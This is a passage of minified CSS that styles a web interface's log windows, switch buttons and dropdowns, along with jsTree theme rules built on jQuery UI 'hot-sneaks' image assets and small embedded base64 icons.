0}.icon{vertical-align:middle!important;margin-top:-.25em!important;margin-right:.25em!important;height:16px!important;width:16px!important;background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_454545_256x240.png)!important}.header-label{font-size:10pt;white-space:pre}.header-label.off{color:#a3b1c2;text-shadow:-1px -1px 0 #333333,0 -1px 0 #333333,1px -1px 0 #333333,1px 0 0 #333333,1px 1px 0 #333333,0 1px 0 #333333,-1px 1px 0 #333333,-1px 0 0 #333}.header-label.on{color:#e1e463;text-shadow:-1px -1px 0 #333333,0 -1px 0 #333333,1px -1px 0 #333333,1px 0 0 #333333,1px 1px 0 #333333,0 1px 0 #333333,-1px 1px 0 #333333,-1px 0 0 #333}.switch-button-label{float:left;font-size:10pt;cursor:pointer;white-space:pre}.switch-button-label.off{color:#a3b1c2;text-shadow:-1px -1px 0 #333333,0 -1px 0 #333333,1px -1px 0 #333333,1px 0 0 #333333,1px 1px 0 #333333,0 1px 0 #333333,-1px 1px 0 #333333,-1px 0 0 #333}.switch-button-label.on{color:#e1e463;text-shadow:-1px -1px 0 #333333,0 -1px 0 #333333,1px -1px 0 #333333,1px 0 0 #333333,1px 1px 0 #333333,0 1px 0 #333333,-1px 1px 0 #333333,-1px 0 0 #333}.switch-button-background{float:left;position:relative;background:#ccd232;border:1px solid #ccd232;margin:1px 10px;-webkit-border-radius:6px;cursor:pointer}.switch-button-button{position:absolute;left:-1px;top:-1px;background:#db4865 url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_40_db4865_40x40.png) 50% 50% repeat;border:1px solid #ccd232}.switch-button-button.on{-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:6px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:6px}.switch-button-button.off{-webkit-border-top-left-radius:6px;-webkit-border-top-right-radius:0;-webkit-border-bottom-left-radius:6px;-webkit-border-bottom-right-radius:0}.intro-framed-textbox{border:1px solid #8D0000;-webkit-border-radius:4px;font-size:16px;text-align:center;font-weight:700;width:auto;margin:2em 5em 1em;padding:.2em}.log-info{font-size:14px;font-weight:700;color:#000!important}.log-warning{font-size:14px;font-weight:700;color:#f90!important}.log-error{font-size:14px;font-weight:700;color:#c00!important}.log-debug{font-size:14px;font-weight:700;color:#5B3004!important}.dropdown{position:relative;display:inline-block}.dropdown-content{display:none;position:absolute;color:#5B3004;background-color:#f9f9f9;min-width:350px;border:1px solid #aaa;-webkit-border-radius:4px;-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.2);padding:12px 16px;z-index:1}.dropdown:hover .dropdown-content{display:block}.icon-triangle{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_454545_256x240.png);background-position:-32px -16px}.dropdown:hover .icon-triangle{background-position:-48px -16px}.dd-centre{position:absolute;left:120px}.dd-right{float:right}.strict{font-size:12px;font-weight:700;color:#2c4359}.switcher{position:relative;left:20%}.log-options{position:absolute;top:70px;width:auto;left:12%;float:right;width:76%;padding:.5em 0 1em}.logoptions{-webkit-border-top-left-radius:10px;-webkit-border-top-right-radius:10px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:1px solid #2c4359;font-size:12px;text-align:center;font-weight:700}.btlogoptions{border:1px solid #2c4359;font-size:12px;text-align:center;font-weight:700}.window{border:2px solid #2c4359;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:210px;width:100%;min-width:100px;max-height:210px}.window-300{border:2px solid #2c4359;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:210px;width:300px;min-width:300px;max-height:210px}.window-250{border:2px solid #2c4359;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:auto;width:250px;min-width:250px;max-height:250px}.window-header{-webkit-border-top-left-radius:10px;-webkit-border-top-right-radius:10px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:0;padding:2px 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.bottom-border{border-bottom:1px solid #2c4359}.window-content{-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px;height:auto;width:auto;overflow:hidden}.window-content-top{-webkit-border-bottom-left-radius:8px;-webkit-border-bottom-right-radius:8px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px;height:auto;width:auto;overflow:hidden}.window-bottom{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:2px 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-bottom-small{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0;height:5px;width:auto;max-height:5px;min-height:5px;overflow:hidden}.table-header{width:100%}.txt-log{padding:0 5px;overflow-wrap:break-word}.cont-log{min-height:540px;max-height:540px;position:relative;height:78%;margin:10px 25px 15px;padding:10px 20px;-webkit-border-radius:6px;border:0}.pre-loader{background:#f7f7ba url(assets/jqueryui/hot-sneaks/images/ui-bg_white-lines_85_f7f7ba_40x100.png) 50% 50% repeat;position:fixed;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:100;opacity:.7}.jstree-node,.jstree-children,.jstree-container-ul{display:block;margin:0;padding:0;list-style-type:none;list-style-image:none}.jstree-node{white-space:nowrap}.jstree-anchor{display:inline-block;color:#000;white-space:nowrap;padding:0 4px 0 1px;margin:0;vertical-align:top}.jstree-anchor:focus{outline:0}.jstree-anchor,.jstree-anchor:link,.jstree-anchor:visited,.jstree-anchor:hover,.jstree-anchor:active{text-decoration:none;color:inherit;-webkit-border-radius:2px}.jstree-icon{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-icon:empty{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-ocl{cursor:pointer}.jstree-leaf>.jstree-ocl{cursor:default}.jstree .jstree-open>.jstree-children{display:block}.jstree .jstree-closed>.jstree-children,.jstree .jstree-leaf>.jstree-children{display:none}.jstree-anchor>.jstree-themeicon{margin-right:2px}.jstree-no-icons .jstree-themeicon,.jstree-anchor>.jstree-themeicon-hidden{display:none}.jstree-hidden,.jstree-node.jstree-hidden{display:none}.jstree-rtl .jstree-anchor{padding:0 1px 0 4px}.jstree-rtl .jstree-anchor>.jstree-themeicon{margin-left:2px;margin-right:0}.jstree-rtl .jstree-node{margin-left:0}.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-wholerow-ul{position:relative;display:inline-block;min-width:100%}.jstree-wholerow-ul .jstree-leaf>.jstree-ocl{cursor:pointer}.jstree-wholerow-ul .jstree-anchor,.jstree-wholerow-ul .jstree-icon{position:relative}.jstree-wholerow-ul .jstree-wholerow{width:100%;cursor:pointer;position:absolute;left:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.jstree-contextmenu .jstree-anchor{-webkit-user-select:none;-webkit-touch-callout:none}.vakata-context{display:none}.vakata-context,.vakata-context ul{margin:0;padding:2px;position:absolute;background:#f5f5f5;border:1px solid #979797;-webkit-box-shadow:2px 2px 2px #999;box-shadow:2px 2px 2px #999}.vakata-context ul{list-style:none;left:100%;margin-top:-2.7em;margin-left:-4px}.vakata-context .vakata-context-right ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context li{list-style:none}.vakata-context li>a{display:block;padding:0 2em;text-decoration:none;width:auto;color:#000;white-space:nowrap;line-height:2.4em;text-shadow:1px 1px 0 #fff;-webkit-border-radius:1px;border-radius:1px}.vakata-context li>a:hover{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAIORI4JlrqN1oMSnmmZDQUAOw==);background-position:right center;background-repeat:no-repeat}.vakata-context li>a:focus{outline:0}.vakata-context .vakata-context-hover>a{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context .vakata-context-separator>a,.vakata-context .vakata-context-separator>a:hover{background:#fff;border:0;border-top:1px solid #e2e3e3;height:1px;min-height:1px;max-height:1px;padding:0;margin:0 0 0 2.4em;border-left:1px solid #e0e0e0;text-shadow:0 0 0 transparent;-webkit-box-shadow:0 0 0 transparent;box-shadow:0 0 0 transparent;-webkit-border-radius:0;border-radius:0}.vakata-context .vakata-contextmenu-disabled a,.vakata-context .vakata-contextmenu-disabled a:hover{color:silver;background-color:transparent;border:0;box-shadow:0 0 0}.vakata-context .vakata-contextmenu-disabled>a>i{filter:grayscale(100%)}.vakata-context li>a>i{text-decoration:none;display:inline-block;width:2.4em;height:2.4em;background:transparent;margin:0 0 0 -2em;vertical-align:top;text-align:center;line-height:2.4em}.vakata-context li>a>i:empty{width:2.4em;line-height:2.4em}.vakata-context li>a .vakata-contextmenu-sep{display:inline-block;width:1px;height:2.4em;background:#fff;margin:0 .5em 0 0;border-left:1px solid #e2e3e3}.vakata-context .vakata-contextmenu-shortcut{font-size:.8em;color:silver;opacity:.5;display:none}.vakata-context-rtl ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context-rtl li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAINjI+AC7rWHIsPtmoxLAA7);background-position:left center;background-repeat:no-repeat}.vakata-context-rtl .vakata-context-separator>a{margin:0 2.4em 0 0;border-left:0;border-right:1px solid #e2e3e3}.vakata-context-rtl .vakata-context-left ul{right:auto;left:100%;margin-left:-4px;margin-right:auto}.vakata-context-rtl li>a>i{margin:0 -2em 0 0}.vakata-context-rtl li>a .vakata-contextmenu-sep{margin:0 0 0 .5em;border-left-color:#fff;background:#e2e3e3}#jstree-marker{position:absolute;top:0;left:0;margin:-5px 0 0;padding:0;border-right:0;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid;width:0;height:0;font-size:0;line-height:0}#jstree-dnd{line-height:16px;margin:0;padding:4px}#jstree-dnd .jstree-icon,#jstree-dnd .jstree-copy{display:inline-block;text-decoration:none;margin:0 2px 0 0;padding:0;width:16px;height:16px}#jstree-dnd .jstree-ok{background:green}#jstree-dnd .jstree-er{background:red}#jstree-dnd .jstree-copy{margin:0 2px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-repeat:no-repeat;background-color:transparent}.jstree-default .jstree-anchor,.jstree-default .jstree-animated,.jstree-default .jstree-wholerow{transition:background-color 0.15s,box-shadow .15s}.jstree-default .jstree-hovered{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-context{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-clicked{background:#beebff;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #999;box-shadow:inset 0 0 1px #999}.jstree-default .jstree-no-icons .jstree-anchor>.jstree-themeicon{display:none}.jstree-default .jstree-disabled{background:transparent;color:#666}.jstree-default .jstree-disabled.jstree-hovered{background:transparent;box-shadow:none}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-disabled>.jstree-icon{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default .jstree-search{font-style:italic;color:#8b0000;font-weight:700}.jstree-default .jstree-no-checkboxes .jstree-checkbox{display:none!important}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked{background:transparent;box-shadow:none}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked.jstree-hovered{background:#e7f4f9}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked{background:transparent}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked.jstree-wholerow-hovered{background:#e7f4f9}.jstree-default>.jstree-striped{min-width:100%;display:inline-block;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAkCAMAAAB/qqA+AAAABlBMVEUAAAAAAAClZ7nPAAAAAnRSTlMNAMM9s3UAAAAXSURBVHjajcEBAQAAAIKg/H/aCQZ70AUBjAATb6YPDgAAAABJRU5ErkJggg==) left top repeat}.jstree-default>.jstree-wholerow-ul .jstree-hovered,.jstree-default>.jstree-wholerow-ul .jstree-clicked{background:transparent;-webkit-box-shadow:none;box-shadow:none;-webkit-border-radius:0;border-radius:0}.jstree-default .jstree-wholerow{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.jstree-default .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default .jstree-wholerow-clicked{background:#beebff;background:-webkit-linear-gradient(top,#beebff 0%,#a8e4ff 100%);background:linear-gradient(to bottom,#beebff 0%,#a8e4ff 100%)}.jstree-default .jstree-node{min-height:24px;line-height:24px;margin-left:24px;min-width:24px}.jstree-default .jstree-anchor{line-height:24px;height:24px}.jstree-default .jstree-icon{width:24px;height:24px;line-height:24px}.jstree-default .jstree-icon:empty{width:24px;height:24px;line-height:24px}.jstree-default.jstree-rtl .jstree-node{margin-right:24px}.jstree-default .jstree-wholerow{height:24px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png)}.jstree-default .jstree-node{background-position:-292px -4px;background-repeat:repeat-y}.jstree-default .jstree-last{background:transparent}.jstree-default .jstree-open>.jstree-ocl{background-position:-132px -4px}.jstree-default .jstree-closed>.jstree-ocl{background-position:-100px -4px}.jstree-default .jstree-leaf>.jstree-ocl{background-position:-68px -4px}.jstree-default .jstree-themeicon{background-position:-260px -4px}.jstree-default>.jstree-no-dots .jstree-node,.jstree-default>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -4px}.jstree-default>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -4px}.jstree-default .jstree-disabled{background:transparent}.jstree-default .jstree-disabled.jstree-hovered{background:transparent}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-checkbox{background-position:-164px -4px}.jstree-default .jstree-checkbox:hover{background-position:-164px -36px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default .jstree-checked>.jstree-checkbox{background-position:-228px -4px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default .jstree-checked>.jstree-checkbox:hover{background-position:-228px -36px}.jstree-default .jstree-anchor>.jstree-undetermined{background-position:-196px -4px}.jstree-default .jstree-anchor>.jstree-undetermined:hover{background-position:-196px -36px}.jstree-default .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default>.jstree-striped{background-size:auto 48px}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default.jstree-rtl .jstree-open>.jstree-ocl{background-position:-132px -36px}.jstree-default.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-100px -36px}.jstree-default.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-68px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -36px}.jstree-default .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/hot-sneaks/images/throbber.gif) center center no-repeat}.jstree-default .jstree-file{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -100px -68px no-repeat}.jstree-default .jstree-folder{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -260px -4px no-repeat}.jstree-default>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default{line-height:24px;padding:0 4px}#jstree-dnd.jstree-default .jstree-ok,#jstree-dnd.jstree-default .jstree-er{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default i{background:transparent;width:24px;height:24px;line-height:24px}#jstree-dnd.jstree-default .jstree-ok{background-position:-4px -68px}#jstree-dnd.jstree-default .jstree-er{background-position:-36px -68px}.jstree-default .jstree-ellipsis{overflow:hidden}.jstree-default .jstree-ellipsis .jstree-anchor{width:calc(100% - 29px);text-overflow:ellipsis;overflow:hidden}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==)}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default-small .jstree-node{min-height:18px;line-height:18px;margin-left:18px;min-width:18px}.jstree-default-small .jstree-anchor{line-height:18px;height:18px}.jstree-default-small .jstree-icon{width:18px;height:18px;line-height:18px}.jstree-default-small .jstree-icon:empty{width:18px;height:18px;line-height:18px}.jstree-default-small.jstree-rtl .jstree-node{margin-right:18px}.jstree-default-small .jstree-wholerow{height:18px}.jstree-default-small .jstree-node,.jstree-default-small .jstree-icon{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png)}.jstree-default-small .jstree-node{background-position:-295px -7px;background-repeat:repeat-y}.jstree-default-small .jstree-last{background:transparent}.jstree-default-small .jstree-open>.jstree-ocl{background-position:-135px -7px}.jstree-default-small .jstree-closed>.jstree-ocl{background-position:-103px -7px}.jstree-default-small .jstree-leaf>.jstree-ocl{background-position:-71px -7px}.jstree-default-small .jstree-themeicon{background-position:-263px -7px}.jstree-default-small>.jstree-no-dots .jstree-node,.jstree-default-small>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -7px}.jstree-default-small>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -7px}.jstree-default-small .jstree-disabled{background:transparent}.jstree-default-small .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-small .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-small .jstree-checkbox{background-position:-167px -7px}.jstree-default-small .jstree-checkbox:hover{background-position:-167px -39px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-small .jstree-checked>.jstree-checkbox{background-position:-231px -7px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-small .jstree-checked>.jstree-checkbox:hover{background-position:-231px -39px}.jstree-default-small .jstree-anchor>.jstree-undetermined{background-position:-199px -7px}.jstree-default-small .jstree-anchor>.jstree-undetermined:hover{background-position:-199px -39px}.jstree-default-small .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-small>.jstree-striped{background-size:auto 36px}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-small.jstree-rtl .jstree-open>.jstree-ocl{background-position:-135px -39px}.jstree-default-small.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-103px -39px}.jstree-default-small.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-71px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -39px}.jstree-default-small .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-small>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/hot-sneaks/images/throbber.gif) center center no-repeat}.jstree-default-small .jstree-file{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -103px -71px no-repeat}.jstree-default-small .jstree-folder{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -263px -7px no-repeat}.jstree-default-small>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-small{line-height:18px;padding:0 4px}#jstree-dnd.jstree-default-small .jstree-ok,#jstree-dnd.jstree-default-small .jstree-er{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-small i{background:transparent;width:18px;height:18px;line-height:18px}#jstree-dnd.jstree-default-small .jstree-ok{background-position:-7px -71px}#jstree-dnd.jstree-default-small .jstree-er{background-position:-39px -71px}.jstree-default-small .jstree-ellipsis{overflow:hidden}.jstree-default-small .jstree-ellipsis .jstree-anchor{width:calc(100% - 23px);text-overflow:ellipsis;overflow:hidden}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAACAQMAAABv1h6PAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMHBgAAiABBI4gz9AAAAABJRU5ErkJggg==)}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-large .jstree-node{min-height:32px;line-height:32px;margin-left:32px;min-width:32px}.jstree-default-large .jstree-anchor{line-height:32px;height:32px}.jstree-default-large .jstree-icon{width:32px;height:32px;line-height:32px}.jstree-default-large .jstree-icon:empty{width:32px;height:32px;line-height:32px}.jstree-default-large.jstree-rtl .jstree-node{margin-right:32px}.jstree-default-large .jstree-wholerow{height:32px}.jstree-default-large .jstree-node,.jstree-default-large .jstree-icon{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png)}.jstree-default-large .jstree-node{background-position:-288px 0;background-repeat:repeat-y}.jstree-default-large .jstree-last{background:transparent}.jstree-default-large .jstree-open>.jstree-ocl{background-position:-128px 0}.jstree-default-large .jstree-closed>.jstree-ocl{background-position:-96px 0}.jstree-default-large .jstree-leaf>.jstree-ocl{background-position:-64px 0}.jstree-default-large .jstree-themeicon{background-position:-256px 0}.jstree-default-large>.jstree-no-dots .jstree-node,.jstree-default-large>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px 0}.jstree-default-large>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 0}.jstree-default-large .jstree-disabled{background:transparent}.jstree-default-large .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-large .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-large .jstree-checkbox{background-position:-160px 0}.jstree-default-large .jstree-checkbox:hover{background-position:-160px -32px}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-large .jstree-checked>.jstree-checkbox{background-position:-224px 0}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-large .jstree-checked>.jstree-checkbox:hover{background-position:-224px -32px}.jstree-default-large .jstree-anchor>.jstree-undetermined{background-position:-192px 0}.jstree-default-large .jstree-anchor>.jstree-undetermined:hover{background-position:-192px -32px}.jstree-default-large .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-large>.jstree-striped{background-size:auto 64px}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}.jstree-default-large.jstree-rtl .jstree-open>.jstree-ocl{background-position:-128px -32px}.jstree-default-large.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-96px -32px}.jstree-default-large.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-64px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 -32px}.jstree-default-large .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-large>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/hot-sneaks/images/throbber.gif) center center no-repeat}.jstree-default-large .jstree-file{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -96px -64px no-repeat}.jstree-default-large .jstree-folder{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -256px 0 no-repeat}.jstree-default-large>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-large{line-height:32px;padding:0 4px}#jstree-dnd.jstree-default-large .jstree-ok,#jstree-dnd.jstree-default-large .jstree-er{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-large i{background:transparent;width:32px;height:32px;line-height:32px}#jstree-dnd.jstree-default-large .jstree-ok{background-position:0 -64px}#jstree-dnd.jstree-default-large .jstree-er{background-position:-32px -64px}.jstree-default-large .jstree-ellipsis{overflow:hidden}.jstree-default-large .jstree-ellipsis .jstree-anchor{width:calc(100% - 37px);text-overflow:ellipsis;overflow:hidden}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAACAQMAAAAD0EyKAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjgIIGBgABCgCBvVLXcAAAAABJRU5ErkJggg==)}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}@media (max-width:768px){#jstree-dnd.jstree-dnd-responsive{line-height:40px;font-weight:700;font-size:1.1em;text-shadow:1px 1px #fff}#jstree-dnd.jstree-dnd-responsive>i{background:transparent;width:40px;height:40px}#jstree-dnd.jstree-dnd-responsive>.jstree-ok{background-image:url(assets/jqueryui/hot-sneaks/images/40px.png);background-position:0 -200px;background-size:120px 240px}#jstree-dnd.jstree-dnd-responsive>.jstree-er{background-image:url(assets/jqueryui/hot-sneaks/images/40px.png);background-position:-40px -200px;background-size:120px 240px}#jstree-marker.jstree-dnd-responsive{border-left-width:10px;border-top-width:10px;border-bottom-width:10px;margin-top:-10px}.jstree-default-responsive .jstree-icon{background-image:url(assets/jqueryui/hot-sneaks/images/40px.png)}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-node{min-height:40px;line-height:40px;margin-left:40px;min-width:40px;white-space:nowrap}.jstree-default-responsive .jstree-anchor{line-height:40px;height:40px}.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-icon:empty{width:40px;height:40px;line-height:40px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0}.jstree-default-responsive.jstree-rtl .jstree-node{margin-left:0;margin-right:40px;background:transparent}.jstree-default-responsive.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-default-responsive .jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-size:120px 240px}.jstree-default-responsive .jstree-leaf>.jstree-ocl,.jstree-default-responsive.jstree-rtl .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-open>.jstree-ocl{background-position:0 0!important}.jstree-default-responsive .jstree-closed>.jstree-ocl{background-position:0 -40px!important}.jstree-default-responsive.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-40px 0!important}.jstree-default-responsive .jstree-themeicon{background-position:-40px -40px}.jstree-default-responsive .jstree-checkbox,.jstree-default-responsive .jstree-checkbox:hover{background-position:-40px -80px}.jstree-default-responsive.jstree-checkbox-selection 